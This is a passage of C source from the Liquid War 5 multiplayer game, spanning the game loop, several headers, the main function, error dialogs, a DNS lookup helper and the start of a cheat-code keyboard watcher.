play Liquid War even on a very very fast machine */ while (get_ticker () < last_logic_time + LOGIC_DELAY_MIN[CONFIG_ROUNDS_PER_SEC_LIMIT]) { #ifdef UNIX /* * The usleep calls prevents the game from eating 100% of the * CPU time on UNIX platforms. */ usleep (1000); #else /* * Rest does not seem to spare CPU time, but at least it * slows the game down */ rest (1); #endif //yield_timeslice (); deprecated } last_logic_time = get_ticker (); lr++; } while /* * if CONFIG_FPS_LIMIT is 0 we stop right away, ie * there will be one logic() operation for each display() * if it is 1, we keep going until we exceed the * CONFIG_FPS_LIMIT value. this way we avoid drawing * 300 frames / second, which is useless * this method speeds the game on powerfull machines * for one can limit the display to 20 frames / seconds * and keep the rest of the CPU for calls to logic() */ (CONFIG_FRAMES_PER_SEC_LIMIT && (get_ticker () < last_display_time + DISPLAY_DELAY_MIN[CONFIG_FRAMES_PER_SEC_LIMIT])); /* * tells the profile module about how much logic operations * have been done for this display */ update_logic_rate (lr); /* * we get the information "when has the last call to display() * been done" */ last_display_time = get_ticker (); /* * now we really display stuff, (takes time...) */ display (); /* * Now we check if the "Close" button has been clicked */ my_exit_poll (); stop_profile (GLOBAL_PROFILE); } } /* * cleans up the double buffer system */ last_flip (); /* * empties the key buffer */ clear_keybuf (); return retour; } liquidwar-5.6.5/src/wwwsrv.h0000664000372000037200000001121113407756104015454 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* name : wwwsrv.h */ /* content : server code used to contact www.ufoot.org */ /********************************************************************/ #ifndef LIQUID_WAR_INCLUDE_WWWSRV #define LIQUID_WAR_INCLUDE_WWWSRV /*==================================================================*/ /* includes */ /*==================================================================*/ #include "base.h" /*==================================================================*/ /* structs */ /*==================================================================*/ typedef struct { int privacy; int log; char metaserver[URL_SIZE + 1]; int port; int busy_players; int max_players; char password[PASSWORD_SIZE + 1]; char comment[COMMENT_SIZE + 1]; } LW_WWWSRV_DATA; /*==================================================================*/ /* fonctions globales */ /*==================================================================*/ void lw_wwwsrv_init (LW_WWWSRV_DATA * data, int privacy, int log, char *metaserver, int port, int busy_players, int max_players, char *password, char *comment); int lw_wwwsrv_register (LW_WWWSRV_DATA * data); #endif liquidwar-5.6.5/src/main.c0000664000372000037200000001444013407756104015023 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* nom : main.c */ /* contenu : procedure main */ /* date de modif : 3 mai 98 */ /********************************************************************/ /*==================================================================*/ /* includes */ /*==================================================================*/ #include #ifdef DOS #include #endif #include "bigdata.h" #include "config.h" #include "disk.h" #include "exit.h" #include "init.h" #include "log.h" #include "menu.h" #include "lw6.h" #include "parser.h" #include "sound.h" #include "startup.h" #include "basicopt.h" /*==================================================================*/ /* construct pour reduire la place d'allegro */ /*==================================================================*/ #ifdef DOS BEGIN_GFX_DRIVER_LIST GFX_DRIVER_VGA GFX_DRIVER_MODEX GFX_DRIVER_VBEAF GFX_DRIVER_VESA2L GFX_DRIVER_VESA2B GFX_DRIVER_VESA1 END_GFX_DRIVER_LIST BEGIN_COLOR_DEPTH_LIST COLOR_DEPTH_8 COLOR_DEPTH_15 COLOR_DEPTH_16 COLOR_DEPTH_24 COLOR_DEPTH_32 END_COLOR_DEPTH_LIST BEGIN_DIGI_DRIVER_LIST DIGI_DRIVER_SB DIGI_DRIVER_SOUNDSCAPE DIGI_DRIVER_AUDIODRIVE END_DIGI_DRIVER_LIST BEGIN_MIDI_DRIVER_LIST END_MIDI_DRIVER_LIST #endif /*==================================================================*/ /* functions */ /*==================================================================*/ /*------------------------------------------------------------------*/ int main (int argc, char **argv) { int init_success = 0; int big_data_success = 0; int load_dat_success = 0; int load_custom_success = 0; read_command_line (argc, argv); if (lw_basicopt_process ("Liquid War - a unique multiplayer wargame")) { init_success = init_all (); if (init_success) { big_data_success = (malloc_big_data () != NULL); log_println (); load_dat_success = load_dat (); log_println (); load_custom_success = load_custom (); log_println (); #ifdef DOS if (STARTUP_STOP) readkey (); else delay (500); #endif } if (!init_success) my_exit (EXIT_CODE_INIT_FAIL); if (!big_data_success) my_exit (EXIT_CODE_BIG_DATA); if (!load_dat_success) my_exit (EXIT_CODE_LOAD_FAIL); if (!load_custom_success) my_exit (EXIT_CODE_CUSTOM_FAIL); order_map (); check_config_range (); check_free_memory (); start_graphic (); start_water (); if (CONFIG_LW6_ADVERTISING_DONE || CONFIG_LW6_ADVERTISING_SKIP) { main_menu (1); } else { CONFIG_LW6_ADVERTISING_DONE = lw6_advertise_menu (1); main_menu (0); } my_exit (EXIT_CODE_OK); } return 0; } #ifdef WIN32 END_OF_MAIN () #endif #ifdef UNIX END_OF_MAIN (); #endif liquidwar-5.6.5/src/fighter.h0000664000372000037200000001053213407756104015532 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* nom : fighter.h */ /* contenu : deplacement des mechants */ /* date de modif : 3 mai 98 */ /********************************************************************/ #ifndef LIQUID_WAR_INCLUDE_FIGHTER #define LIQUID_WAR_INCLUDE_FIGHTER /*==================================================================*/ /* includes */ /*==================================================================*/ /*==================================================================*/ /* variables globales */ /*==================================================================*/ int FIGHTER_MOVE_X[2][NB_DIRS][5]; int FIGHTER_MOVE_Y[2][NB_DIRS][5]; /*==================================================================*/ /* fonctions globales */ /*==================================================================*/ void init_move_fighters (void); int get_main_dir (MESH * mesh, int team, int sens, int start); void move_fighters (void); #endif liquidwar-5.6.5/src/chat.h0000664000372000037200000001152613407756104015025 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* name : chat.h */ /* content : functions to handle chat messages */ /********************************************************************/ #ifndef LIQUID_WAR_INCLUDE_CHAT #define LIQUID_WAR_INCLUDE_CHAT /*==================================================================*/ /* includes */ /*==================================================================*/ #include "base.h" /*==================================================================*/ /* defines */ /*==================================================================*/ #define LW_CHAT_MESSAGE_SIZE 80 #define LW_CHAT_HISTORY_SIZE 20 /*==================================================================*/ /* structs */ /*==================================================================*/ typedef struct { char author[NAME_SIZE + 1]; char content[LW_CHAT_MESSAGE_SIZE + 1]; } LW_CHAT_MESSAGE; typedef struct { int n; LW_CHAT_MESSAGE messages[LW_CHAT_HISTORY_SIZE]; } LW_CHAT_HISTORY; /*==================================================================*/ /* fonctions globales */ /*==================================================================*/ void lw_chat_reset (LW_CHAT_HISTORY * history); void lw_chat_push (LW_CHAT_HISTORY * history, char *author, char *content); int lw_chat_pop (LW_CHAT_HISTORY * history, LW_CHAT_MESSAGE * message); int lw_chat_get (LW_CHAT_HISTORY * history, LW_CHAT_MESSAGE * message, int i); #endif liquidwar-5.6.5/src/startinf.h0000664000372000037200000001005513407756104015734 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* name : startinf.h */ /* content : struct used to transmit network start info */ /********************************************************************/ #ifndef LIQUID_WAR_INCLUDE_STARTINF #define LIQUID_WAR_INCLUDE_STARTINF /*==================================================================*/ /* includes */ /*==================================================================*/ #include "base.h" /*==================================================================*/ /* structs */ /*==================================================================*/ typedef struct { int active; int start; char name[NAME_SIZE + 1]; } LW_TEAMSTARTINFO; void lw_teamstartinfo_reset (LW_TEAMSTARTINFO * teamstartinfo); #endif liquidwar-5.6.5/src/controls.h0000664000372000037200000001016013407756104015742 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* nom : controls.h */ /* contenu : controls menu */ /********************************************************************/ #ifndef LIQUID_WAR_INCLUDE_CONTROLS #define LIQUID_WAR_INCLUDE_CONTROLS /*==================================================================*/ /* types */ /*==================================================================*/ /*==================================================================*/ /* variables globales */ /*==================================================================*/ /*==================================================================*/ /* fonctions globales */ /*==================================================================*/ int controls_options (void); #endif liquidwar-5.6.5/src/base.h.in0000664000372000037200000001120613407756104015420 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* nom : base.h */ /* contenu : global application-wide constants, macros, etc...*/ /********************************************************************/ #ifndef LIQUID_WAR_INCLUDE_BASE #define LIQUID_WAR_INCLUDE_BASE /*==================================================================*/ /* includes */ /*==================================================================*/ /*==================================================================*/ /* constantes */ /*==================================================================*/ #define NB_TEAMS 6 #define NB_DIRS 12 #define DIR_NNE 0 #define DIR_NE 1 #define DIR_ENE 2 #define DIR_ESE 3 #define DIR_SE 4 #define DIR_SSE 5 #define DIR_SSW 6 #define DIR_SW 7 #define DIR_WSW 8 #define DIR_WNW 9 #define DIR_NW 10 #define DIR_NNW 11 #define LW_PROGRAM "liquidwar" #define LW_VERSION "@VERSION@" #define NAME_SIZE 10 #define PASSWORD_SIZE 20 #define COMMENT_SIZE 100 #define URL_SIZE 300 /* * On windows there are problems linking with random() so we use * rand() instead, which does pretty much the same thing. Still * we keep on using random() on UNIX for it's supposed to provid * "more random" values than rand(). This is particularly noticeable * on FreeBSD. */ #ifdef WIN32 #define random rand #define srandom srand #endif #endif liquidwar-5.6.5/src/error.c0000664000372000037200000001715413407756104015235 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* nom : error.c */ /* contenu : messages d'erreur pendant le jeu */ /* date de modif : 3 mai 98 */ /********************************************************************/ /*==================================================================*/ /* includes */ /*==================================================================*/ #include #include "dialog.h" #include "error.h" #include "help.h" #include "base.h" #include "lang.h" /*==================================================================*/ /* variables globales */ /*==================================================================*/ /*==================================================================*/ /* fonctions */ /*==================================================================*/ /*------------------------------------------------------------------*/ static int return_d_close (void) { return (D_CLOSE); } /*------------------------------------------------------------------*/ static int standard_error (char *str) { DIALOG d[3]; memset (d, 0, sizeof (d)); color_one_dialog (d); d[0].proc = my_textbox_proc; d[0].d2 = 0; d[0].dp = str; d[0].key = 0; d[0].flags = 0; d[0].x = MENU_VIRTUAL_W / 4; d[0].y = (3 * MENU_VIRTUAL_H) / 8; d[0].w = (MENU_VIRTUAL_W) / 2; d[0].h = (MENU_VIRTUAL_H) / 4; menu_real_coord (d); d[1].proc = d_keyboard_proc; d[1].dp = return_d_close; d[1].key = ' '; d[1].d1 = KEY_ENTER; d[1].d2 = KEY_ESC; d[2].proc = NULL; my_do_dialog (d, 0); return 0; } /*------------------------------------------------------------------*/ int error_not_enough_teams (void) { return (standard_error (lw_lang_string (LW_LANG_STRING_ERROR_NOTENOUGHTEAMS))); } /*------------------------------------------------------------------*/ int error_not_enough_big_data (void) { return (standard_error (lw_lang_string (LW_LANG_STRING_ERROR_NOTENOUGHBIGDATA))); } /*------------------------------------------------------------------*/ int error_graphics_init_failed (void) { return (standard_error (lw_lang_string (LW_LANG_STRING_ERROR_GRAPHICSINITFAILED))); } /*------------------------------------------------------------------*/ int error_no_network_support (void) { return (standard_error (lw_lang_string (LW_LANG_STRING_ERROR_NONETWORKSUPPORT))); } /*------------------------------------------------------------------*/ int error_unable_to_connect (void) { return (standard_error (lw_lang_string (LW_LANG_STRING_ERROR_UNABLETOCONNECT))); } /*------------------------------------------------------------------*/ int error_not_a_liquidwar_server (void) { return (standard_error (lw_lang_string (LW_LANG_STRING_ERROR_NOTALIQUIDWARSERVER))); } /*------------------------------------------------------------------*/ int error_wrong_version (void) { return (standard_error (lw_lang_string (LW_LANG_STRING_ERROR_WRONGVERSION))); } /*------------------------------------------------------------------*/ int error_network_problem (void) { return (standard_error (lw_lang_string (LW_LANG_STRING_ERROR_NETWORKPROBLEM))); } /*------------------------------------------------------------------*/ int error_cant_send_map (void) { return (standard_error (lw_lang_string (LW_LANG_STRING_ERROR_CANTSENDMAP))); } /*------------------------------------------------------------------*/ int error_cant_receive_map (void) { return (standard_error (lw_lang_string (LW_LANG_STRING_ERROR_CANTRECEIVEMAP))); } /*------------------------------------------------------------------*/ int error_server_full (void) { return (standard_error (lw_lang_string (LW_LANG_STRING_ERROR_SERVERFULL))); } /*------------------------------------------------------------------*/ int error_bad_password (void) { return (standard_error (lw_lang_string (LW_LANG_STRING_ERROR_BADPASSWORD))); } /*------------------------------------------------------------------*/ int error_bad_config_range (void) { return (standard_error (lw_lang_string (LW_LANG_STRING_ERROR_BADCONFIGRANGE))); } liquidwar-5.6.5/src/glouglou.h0000664000372000037200000001175013407756104015742 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* nom : glouglou.h */ /* contenu : affichage avec vagues accelere */ /* date de modif : 3 mai 98 */ /********************************************************************/ #ifndef LIQUID_WAR_INCLUDE_GLOUGLOU #define LIQUID_WAR_INCLUDE_GLOUGLOU /*==================================================================*/ /* includes */ /*==================================================================*/ #include #include "asm.h" /*==================================================================*/ /* types */ /*==================================================================*/ extern void LW_ASM_FUNC draw_distor_line (BITMAP * distorsion_target, int current_area_w, int w, int u, int fp_x, int ip_x, int fp_y, int ip_y, int lim_w, int lim_h, int *fp_x0, int *y_corres, int *WAVE_SHAPE_WX, int **WAVE_SHAPE_X_CORRES, char *src, int temp1, int temp2, int temp3, int temp4, int temp5); #endif liquidwar-5.6.5/src/dnsutil.c0000664000372000037200000001207713407756104015565 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* name : dnsutil.c */ /* content : low level functions to handle dns requests */ /********************************************************************/ /*==================================================================*/ /* includes */ /*==================================================================*/ #ifdef WIN32 #include #endif #ifdef UNIX #include #include #include #include #include #endif #include #include #include "dnsutil.h" #include "log.h" #include "sockgen.h" /*==================================================================*/ /* constants */ /*==================================================================*/ /*==================================================================*/ /* static functions */ /*==================================================================*/ /*==================================================================*/ /* global functions */ /*==================================================================*/ int lw_dnsutil_name_to_ip (char *ip, char *name) { int result = 0; #ifdef DOS memset (ip, 0, LW_SOCK_IP_SIZE); #else struct hostent *h; struct in_addr addr; memset (ip, 0, LW_SOCK_IP_SIZE); h = gethostbyname (name); if (h && h->h_addrtype == AF_INET && h->h_length >= 4 && h->h_addr_list[0]) { #ifdef UNIX addr = *((struct in_addr *) (h->h_addr_list[0])); #else addr.s_addr = *((u_long *) (h->h_addr_list[0])); #endif strncpy (ip, inet_ntoa (addr), LW_SOCK_IP_SIZE - 1); ip[LW_SOCK_IP_SIZE - 1] = '\0'; result = 1; } #endif return result; } liquidwar-5.6.5/src/watchdog.c0000664000372000037200000001376513407756104015710 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* nom : watchdog.c */ /* contenu : gestion des codes secrets pendant le jeu */ /* date de modif : 3 mai 98 */ /********************************************************************/ /*==================================================================*/ /* includes */ /*==================================================================*/ #include #include #include "watchdog.h" #include "log.h" #include "macro.h" /*==================================================================*/ /* variables globales */ /*==================================================================*/ #define WATCHDOG_NUMBER 10 #define WATCHDOG_BUFFER_SIZE 1024 #define WATCHDOG_MAX_WORD 64 #define WATCHDOG_KEYWORD "ufoot" char WATCHDOG_ASCII[256]; char WATCHDOG_SCANCODE[128]; static int WATCHDOG_BUFFER[WATCHDOG_BUFFER_SIZE]; static int WATCHDOG_KEYS_IN_BUFFER; /*==================================================================*/ /* fonctions */ /*==================================================================*/ /*------------------------------------------------------------------*/ void watchdog_update () { int i, n, old_pos; old_pos = WATCHDOG_KEYS_IN_BUFFER; for (i = 0; i < 256; ++i) WATCHDOG_ASCII[i] = 0; for (i = 0; i < 128; ++i) WATCHDOG_SCANCODE[i] = 0; if ((n = (WATCHDOG_KEYS_IN_BUFFER - WATCHDOG_MAX_WORD)) > WATCHDOG_MAX_WORD) { for (i = n; i < WATCHDOG_KEYS_IN_BUFFER; ++i) WATCHDOG_BUFFER[i - n] = WATCHDOG_BUFFER[i]; WATCHDOG_KEYS_IN_BUFFER -= n; old_pos -= n; } while (keypressed () && WATCHDOG_KEYS_IN_BUFFER < WATCHDOG_BUFFER_SIZE) { WATCHDOG_BUFFER[WATCHDOG_KEYS_IN_BUFFER++] = readkey (); } for (i = old_pos; i < WATCHDOG_KEYS_IN_BUFFER; ++i) { WATCHDOG_ASCII[WATCHDOG_BUFFER[i] & 0xFF] = 1; 